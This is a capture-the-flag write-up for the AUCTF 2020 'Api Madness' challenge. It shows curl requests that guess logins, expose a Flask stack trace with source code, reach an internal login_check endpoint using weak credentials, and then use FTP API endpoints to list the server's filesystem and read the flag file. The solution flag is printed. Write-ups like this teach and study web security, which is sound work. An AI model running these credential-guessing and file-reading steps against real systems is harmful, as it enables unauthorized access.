[ Home ] [ Writeups ] [ Papers ] [ Cheatsheet ] [ About ]


.:: Api Madness - AUCTF 2020 ::.
Title : Api Madness - AUCTF 2020
Author : shinigami  
Date : Sunday, Apr 5, 2020
Modified : Sunday, Apr 5, 2020
Reading time: 1 minutes and 30 seconds.

.: DESCRIPTION :.

API madness 972 http://challenges.auctf.com:30023 We re building out our new API. We even have authentication built in!


-=[API MADNESS]=-

IMAGE BROKEN Let’s check http://challenges.auctf.com:30023/static/help

Here we have what we need.

IMAGE BROKEN

I tried to log in :

1curl http://challenges.auctf.com:30023/api/login -X POST  -d "username:admin&password:admin" -v  I tried many credentials but it didn't work. I also tried with JSON format. 
1curl http://challenges.auctf.com:30023/api/login -X POST  -d "{'username':'admin','password':'admin'}" -v 

but nothing… (400 BAD REQUEST). Then I added the Content-Type JSON Header :

1curl http://challenges.auctf.com:30023/api/login  -H "Content-Type: application/json"  -X POST --data '{"username":"admin","password":"admin"}' -v  

The server took many minutes to respond. So, we waited. Then we got a Flask Stack Trace with the source code of app.py I truncated it, here the most interesting part :

1if not request.json or 'username' not in request.json:
2  abort(400)
3  username = request.json['username']
4  password = request.json.get("password","")
5  login_check = {"username":username,"password":password}
6  token = r.post("http://10.0.2.8/api/login_check",json=login_check).json()['token']
7  r_data = {"status":"OK", "token":token}
8  return jsonify(r_data)

We can see the endpoint

/api/login_check So I tried to log in my self but this time on the new endpoint :

1curl http://challenges.auctf.com:30023/api/login_check  -H "Content-Type: application/json"  -X POST --data '{"username":"admin","password":"admin"}' -v  The server responded: { "token": null } 

Oh okay. We now need to find the correct credentials.

I tried weak credentials before bruteforcing and it worked !

1curl http://challenges.auctf.com:30023/api/login_check  -H "Content-Type: application/json"  -X POST --data '{"username":"username","password":"password"}' -v  

The server responded:

1{ "token": bc842c31a9e54efe320d30d948be61291f3ceee4766e36ab25fa65243cd76e0e } 

Now do you remember the endpoint on the /static/help page ? I used the

/api/ftp/dir endpoint to read the folder’s content on the FTP server.

1 curl http://challenges.auctf.com:30023/api/ftp/dir  -H "Content-Type: application/json"  -X POST --data '{"username":"username","password":"password", "token":"bc842c31a9e54efe320d30d948be61291f3ceee4766e36ab25fa65243cd76e0e"}' -v  

The server responded:

1{ "dir": [ ".dockerenv", "bin", "boot", "dev", "etc", "flag.txt", "ftp_server.py", "home", "lib", "lib64", "media", "mnt", "opt", "proc", "root", "run", "sbin", "srv", "startup.sh", "sys", "templates", "tmp", "usr", "var", "web_server.py" ], "status": "OK" }  

Now we can read the file flag.txt with the endpoint

/api/ftp/get_file, I added the parameter file to my request.

1curl http://challenges.auctf.com:30023/api/ftp/get_file  -H "Content-Type: application/json"  -X POST --data '{"username":"username","password":"password", "token":"bc842c31a9e54efe320d30d948be61291f3ceee4766e36ab25fa65243cd76e0e", "file":"flag.txt"}' -v  

We got:

1{ "file_data": "YXVjdGZ7MHdAc3BfNnJvSzNOX0B1dGh9Cg==n", "status": "OK" }  

Decoded it with base64 -d :

1echo -n "YXVjdGZ7MHdAc3BfNnJvSzNOX0B1dGh9Cg" | base64 -d

.: FLAG :.

auctf{0w@sp_6roK3N_@uth}

[ Home ] [ Writeups ] [ Papers ] [ Cheatsheet ] [ About ]